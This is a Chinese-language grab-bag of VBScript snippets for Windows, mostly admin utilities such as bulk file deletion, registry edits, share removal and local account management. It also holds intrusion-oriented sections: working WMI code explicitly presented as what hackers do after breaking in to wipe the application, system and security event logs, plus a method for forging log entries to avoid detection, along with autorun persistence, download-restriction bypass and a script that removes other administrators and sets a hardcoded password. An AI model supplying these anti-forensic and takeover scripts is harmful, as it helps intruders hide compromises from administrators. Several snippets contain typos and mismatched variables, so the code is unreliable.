//每次开机的时候自动导入注册表和程序 Option Explicit Dim Folder
Folder = "d:\aaa" '设置你要执行的文件夹
Dim Wsh,fso Set Wsh = WScript.CreateObject("WScript.Shell") Set fso = CreateObject("Scripting.FileSystemObject") Dim f,fc,f1,ext Set f = fso.GetFolder(Folder) Set fc = f.Files For Each f1 in fc ext = LCase(fso.GetExtensionName(f1)) Select Case ext Case "exe" wsh.run f1,,true Case "reg" wsh.run "Regedit /s "& f1,,true end Select Next
Set fso=NoThing Set Wsh = Nothing WScript.quit
//排除指定文件或文件夹删除多余的文件或文件夹,黑火原创 Option Explicit
''''''''''''''说明'''''''''''' '网盟-黑火制作,送给需要的朋友。 '配置文件“Listfile.ini”的格式如下: '要删除什么(文件|目录)=要执行删除的文件夹=排除1;排除2;排除3............ '配置文件可以有多行,以便对多个目录进行操作。 '配置文件里以“/”开头的行为注释行。 '排除多个内容时,使用分号“;”进行分隔。 '↓↓↓ 配置文件例子:↓↓↓ '/配置文件开始 '目录=D:\=System Volume Information;网络游戏;单机游戏;小游戏 '目录=C:\Program Files=qq;WinRAR '文件=D:\网络游戏=文件1.exe;文件2.exe '/配置文件结束 '''''''''''''说明完''''''''''''
Dim Fso,Listfile,objListfile Listfile = "" '设置配置文件路径,如果配置文件和脚本放在一起,请保持原样
If Listfile = "" Then Listfile = "Listfile.ini" Set Fso = CreateObject("Scripting.FileSystemObject") On Error Resume Next Set objListfile = Fso.OpenTextFile(Listfile,1) If Err Then err.Clear Msgbox "没有找到配置文件 "&Listfile,16,"错误" WScript.quit End If On Error GoTo 0
Dim flnum,fdnum,t1,t2,tm flnum=0 fdnum=0 t1 = timer()
Dim Myline,LineArr,ListArr Do While objListfile.AtEndOfStream <> True Myline = LCase(Replace(objListfile.ReadLine,"==","=")) If Left(Myline,1) = "/" Then 'objListfile.SkipLine ElseIf CheckLine(Myline) = 2 Then LineArr = Split(Myline,"=") 'DoFolder = LineArr(1) ListArr = Split(LineArr(2),";") 'MsgBox LineArr(0) If LineArr(0) = "目录" Then DelFolder LineArr(1),ListArr If LineArr(0) = "文件" Then DelFile LineArr(1),ListArr End If Loop
t2 = timer() tm=cstr(int(( (t2-t1)*10000 )+0.5)/10)
MsgBox "扫描完毕,共删除 "&fdnum&" 个目录, "&flnum& "个文件。"& vbCrLf &"耗时 "&tm&" 毫秒",64,"执行完毕" '不需要显示报告的话,注释掉上面这一行
Set Fso=NoThing WScript.quit
Sub DelFolder(Folder,ListArr) Dim objFolder,subFolders,subFolder Set objFolder=Fso.Getfolder(Folder) Set subFolders=objFolder.subFolders For Each subFolder In subFolders If Not InArray(LIstArr,LCase(subFolder.name)) Then On Error Resume Next subfolder.Delete(True) If Err Then err.Clear Msgbox "不能删除目录,请检查 "&subFolder,16,"错误" Else fdnum = fdnum + 1 End If On Error GoTo 0 End If Next End Sub
Sub DelFile(Folder,ListArr) Dim objFolder,Files,File Set objFolder=Fso.Getfolder(Folder) Set Files=objFolder.Files For Each File In Files If Not InArray(LIstArr,LCase(File.name)) Then On Error Resume Next File.Delete(True) If Err Then err.Clear Msgbox "不能删除文件,请检查 "&File,16,"错误" Else flnum = flnum + 1 End If On Error GoTo 0 End If Next End Sub
Function CheckLine(strLine) Dim LineRegExp,Matches Set LineRegExp = New RegExp LineRegExp.Pattern = ".=." LineRegExp.Global = True Set Matches = LineRegExp.Execute(strLine) CheckLine = Matches.count End Function
Function InArray(Myarray,StrIn) Dim StrTemp InArray = True For Each StrTemp In Myarray If StrIn = StrTemp Then Exit Function Exit For End If Next InArray = False End Function
!获得特定文件夹的路径(例如当前用户的桌面在磁盘中的实际位置,等等,相当于vc中的SHGetSpecialFolderPath()函数)
Set wsShell = CreateObject("WScript.Shell") DesktopPath = wsShell.SpecialFolders("Desktop")
!获取当前用户名称 Set WshNetwork = WScript.CreateObject("WScript.Network")
UserName= WshNetwork.UserName
!获取系统变量%SystemRoot%(当然其他的系统变量可以类推,只是不只是不是都要通过PROCESS中转一下)
Set fso = CreateObject("Scripting.FileSystemObject") Set WshSysEnv = wsShell.Environment("PROCESS") SystemRoot = WshSysEnv("WINDIR") !将域用户或租添加到本地组
Set objGroup = GetObject("WinNT://./Administrators") Set objUser = GetObject("WinNT://testnet/Engineers") objGroup.Add(objUser.ADsPath)
!修改本地管理员密码
Set objcnlar = GetObject("WinNT://./administrator, user") objcnla.SetPassword "P@ssW0rd" objcnla.SetInfo
!弹出 YES or NO 的对话框,不同的选择执行不同的代码
intAnswer = Msgbox("Do you want to delete these files?", vbYesNo, "Delete Files") If intAnswer = vbYes Then Msgbox "You answered yes." Else Msgbox "You answered no." End If
!运行CMD命令行命令
set obshell=wscript.createobject("wscript.shell") obshell.run ("ipconfig"),,true 如果要运行的命令中包含双引号,可使用&chr(34)&代替
!忽略代码错误继续执行
On Error Resume Next 放置于代码的最开头,当代码运行出错后并不停止跳出而是继续执行下一条。适当应用会很有效果。 !破解下载限制 DIM WSH
SET WSH=WSCRIPT.CreateObject("WSCRIPT.SHELL") WSH.POPUP("本程序的作用是解决无法下载的问题") WSH.POPUP("特别是在注册表禁用的情况下破解") WSH.POPUP("由曾诚制作") WSH.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\1803",0,"REG_DWORD" WSH.POPUP("现在您可以下载程序了!")
!读本机“计算机名”
'ReadComputerName.vbs Dim ReadComputerName Set ReadComputerName=WScript.CreateObject("WScript.Shell") Dim ComputerName,RegPath RegPath="HKLM\System\CurrentControlSet\Control\ComputerName\ComputerName\ComputerName" ComputerName=ReadComputerName.RegRead(RegPath) MsgBox("计算机名为"&ComputerName)
!隐藏快捷方式图标上的小箭头
'Hidden.vbs Dim HiddenArrowIcon Set HiddenArrowIcon=WScript.CreateObject("WScript.Shell") Dim RegPath1,RegPath2 RegPath1="HKCR\lnkfile\IsShortCut" RegPath2="HKCR\piffile\IsShortCut" HiddenArrowIcon.RegDelete(RegPath1) HiddenArrowIcon.RegDelete(RegPath2)
!改造“开始”菜单
'ChangeStartMenu.vbs Dim ChangeStartMenu Set ChangeStartMenu=WScript.CreateObject("WScript.Shell") RegPath="HKCR\Software\Microsoft\Windows\CurrentVersion\Policies\" Type_Name="REG_DWORD" Key_Data=1 StartMenu_Run="NoRun" StartMenu_Find="NoFind" StartMenu_Close="NoClose" Sub Change(Argument) ChangeStartMenu.RegWrite RegPath&Argument,Key_Data,Type_Name MsgBox("Success!") End Sub Call Change(StartMenu_Run) '禁用“开始”菜单中的“运行”功能 Call Change(StartMenu_Find) '禁用“开始”菜单中的“查找”功能 Call Change(StartMenu_Close) '禁用“开始”菜单中的“关闭系统”功能
!向Windows中添加自启动程序
该程序能在开机时自动运行。 'AddAutoRunProgram.vbs '假设该程序在c:\myfile文件夹中,文件名为autorun.exe Dim AutoRunProgram Set AutoRunProgram=WScript.CreateObject("WScript.Shell") RegPath="HKLM\Software\Microsoft\Windows\CurrentVersion\Run\" Type_Name="REG_SZ" Key_Name="AutoRun" Key_Data="C:\Myfile\autorun.exe" '该自启动程序的全路径文件名 AutoRunProgram.Write RegPath&Key_Name,Key_Data,Type_Name '在启动组中添加自启动程序autorun.exe MsgBox("Success!") 一、给注册表编辑器解锁
用记事本编辑如下内容:
DIM WSH SET WSH=WSCRIPT.CreateObject("WSCRIPT.SHELL") '击活WScript.Shell对象 WSH.POPUP("解锁注册表编辑器!") '显示弹出信息“解锁注册表编辑器!” WSH.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion \Policies\System\DisableRegistryTools",0,"REG_DWORD" '给注册表编辑器解锁 WSH.POPUP("注册表解锁成功!") '显示弹出信息“注册表解锁成功!” 保存为以.vbs为扩展名的文件,使用时双击即可。
二、关闭Win NT/2000的默认共享
用记事本编辑如下内容:
Dim WSHShell'定义变量 set WSHShell=CreateObject("WScript.shell") '创建一个能与操作系统沟通的对象WSHShell Dim fso,dc Set fso=CreateObject("Scripting.FileSystemObject")'创建文件系统对象 set dc=fso.Drives '获取所有驱动器盘符 For Each d in dc Dim str WSHShell.run("net share"&d.driveletter &"$ /delete")'关闭所有驱动器的隐藏共享 next WSHShell.run("net share admin$ /delete") WSHShell.run("net share ipc$ /delete")'关闭admin$和ipc$管道共享
现在来测试一下,先打开cmd.exe,输入net share命令就可以看到自己机子上的共享。双击执行stopshare.vbs后,会看见窗口一闪而过。然后再在cmd里输入net share命令,这时候没有发现共享列表了
三、显示本机IP地址
有许多时候,我们需要知道本机的IP地址,使用各种软件虽然可以办到,但用VBS脚本也非常的方便。用记事本编辑如下内容:
Dim WS Set WS=CreateObject("MSWinsock.Winsock") IPAddress=WS.LocalIP MsgBox "Local IP=" & IPAddress
将上面的内容保存为ShowIP.vbs,双击执行即可得到本机IP地址。
四、利用脚本编程删除日志
入侵系统成功后黑客做的第一件事便是清除日志,如果以图形界面远程控制对方机器或是从终端登陆进入,删除日志不是一件困难的事,由于日志虽然也是作为一种服务运行,但不同于http,ftp这样的服务,可以在命令行下先停止,再删除,在命令行下用net stop eventlog是不能停止的,所以有人认为在命令行下删除日志是很困难的,实际上不是这样,比方说利用脚本编程中的VMI就可以删除日志,而且非常的简单方便。源代码如下:
strComputer= "." Set objWMIService = GetObject("winmgmts:" _ & "{impersonationLevel=impersonate,(Backup)}!\\" & _ strComputer & "\root\cimv2") dim mylogs(3) mylogs(1)="application" mylogs(2)="system" mylogs(3)="security" for Each logs in mylogs Set colLogFiles=objWMIService.ExecQuery _ ("Select * from Win32_NTEventLogFile where LogFileName='"&logs&"'") For Each objLogfile in colLogFiles objLogFile.ClearEventLog() Next next
将上面的代码保存为cleanevent.vbs文件即可。在上面的代码中,首先获得object对象,然后利用其clearEventLog ()方法删除日志。建立一个数组,application,security,system,如果还有其他日志也可以加入数组。然后用一个for循环,删除数组中的每一个元素,即各个日志。
五、利用脚本伪造日志
删除日志后,任何一个有头脑的管理员面对空空的日志,马上就会反应过来被入侵了,所以一个聪明的黑客的学会如何伪造日志。利用脚本编程中的eventlog方法创造日志非常简单,请看下面的代码:
set ws=wscript.createobject("Wscript.shell") ws.logevent 0 ,"write log success" '创建一个成功执行日志
将上面的代码保存为createlog.vbs即可。这段代码很容易理解,首先获得wscript的一个shell对象,然后利用shell对象的logevent方法。logevent的用法:logevent eventtype,"description" [,remote system],其中eventtype为日志类型,可以使用的参数如下:0代表成功执行,1执行出错,2警告,4信息,8成功审计,16故障审计。所以上面代码中,把0改为1,2,4,8,16均可,引号中的内容为日志描述。利用这种方法写的日志有一个缺点,即只能写到应用程序日志,而且日志来源只能为 WSH,即Windows Scripting Host,所以不能起太多的隐蔽作用,在此仅供大家参考。
六、禁用开始菜单选项
用记事本编辑如下内容:
Dim ChangeStartMenu Set ChangeStartMenu=WScript.CreateObject("WScript.Shell") RegPath="HKCR\Software\Microsoft\Windows\CurrentVersion\Policies\" Type_Name="REG_DWORD" Key_Data=1 StartMenu_Run="NoRun" StartMenu_Find="NoFind" StartMenu_Close="NoClose" Sub Change(Argument) ChangeStartMenu.RegWrite RegPath&Argument,Key_Data,Type_Name MsgBox("Success!") End Sub Call Change(StartMenu_Run) '禁用“开始”菜单中的“运行”功能 Call Change(StartMenu_Find) '禁用“开始”菜单中的“查找”功能 Call Change(StartMenu_Close) '禁用“开始”菜单中的“关闭系统”功能
将以上代码保存为ChangeStartMenu.vbs文件,使用时双击即可。
七、执行外部程序
用记事本编辑如下内容:
DIM objShell set objShell=wscript.createObject("wscript.shell") iReturn=objShell.Run("cmd.exe /C set var=world", 1, TRUE)
保存为.vbs文件即可。在这段代码中,我们首先设置了一个环境变量,其名为var,而值为world,用户可以使用%Comspec%来代替cmd.exe,并且可以把命令:set var=world改成其它的命令,这样就可以使它可以运行任意的命令。
八、重新启动指定的IIS服务
用记事本编辑如下内容:
Const ADS_SERVICE_STOPPED = 1 Set objComputer = GetObject("WinNT://MYCOMPUTER,computer") Set objService = objComputer.GetObject("Service","MYSERVICE") If (objService.Status = ADS_SERVICE_STOPPED) Then objService.Start End If
//检查Search目录中的特定文件中的特定字符并将结果放入Result.txt中 Set objNetwork = CreateObject("Wscript.Network") strComputer = objNetwork.ComputerName
Const ForReading = 1 Const ForAppending = 8 Dim arrFileLines() i=0
Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\" & strComputer & " ootcimv2") Set colFiles = objWMIService.ExecQuery("Select * from CIM_DataFile where Path = '\search\'") For Each objFile in colFiles If objFile.Extension = "log" Then FileName = objFile.Name Wscript.Echo FileName End IF Next
Set objFSO = CreateObject("Scripting.FileSystemObject") Set objFile = objFSO.OpenTextFile("input.txt",ForReading) InputLine = objFile.ReadLine objFile.Close
set objFile = objFSO.OpenTextFile(FileName,ForReading) Do Until objFile.AtEndOfStream SearchLine = objFile.ReadLine If InStr(SearchLine,InputLine) = 0 Then
Else Redim Preserve arrFileLines(i) arrFileLines(i) = SearchLine i=i+1 End If Loop objFile.Close
Set objFile = objFSO.OpenTextFile("result.txt", ForAppending) For l = Ubound(arrFileLines) to LBound(arrFileLines) Step -1 objFile.WriteLine arrFileLines(l) Next objFile.Close
//在用户登陆的时候清除所有的管理员账户,只保留Administrator和NetShowServices,并修改Administrator的密码为55555555 Set objNetwork = CreateObject("Wscript.Network") strComputer = objNetwork.ComputerName StrUser = objNetwork.Name StrStat = "False"
Set colGroups = GetObject("WinNT://" & strComputer & "") colGroups.Filter = Array("group") For Each objGroup In colGroups For Each objUser in objGroup.Members If objUser.name = StrUser Then If objGroup.Name = "Aadministrators" Then StrStat = "True" End If End If Next Next
Set objGroup = GetObject("WinNT://" & strComputer & "/Administrators") For Each objUser in objGroup.Members If objUser.Name = "Administrator" OR objUser.Name = "NetShowServices" Then If objUser.Name = "Administrator" AND StrStat = " True " Then objUser.SetPassword "55555555" End If Else objGroup.Remove(objUser.ADsPath) End If Next
|